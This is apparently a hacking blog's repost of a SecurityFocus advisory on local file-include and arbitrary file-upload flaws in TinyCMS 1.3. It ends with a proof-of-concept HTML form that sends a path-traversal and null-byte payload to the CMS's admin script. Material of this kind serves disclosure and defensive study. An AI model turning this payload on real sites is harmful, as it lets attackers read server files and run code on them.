Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375401

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/53761/info
  
TinyCMS is prone to multiple local file-include vulnerabilities and an arbitrary-file-upload vulnerability.
  
An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.
  
TinyCMS 1.3 is vulnerable; other versions may also be affected. 

<form action='http://www.example.com/admin/admin.php?view=admin&do=../../../../[ LFI ]%00' method='post'>
<input type='submit' value='Get/Include Local File'>
</form>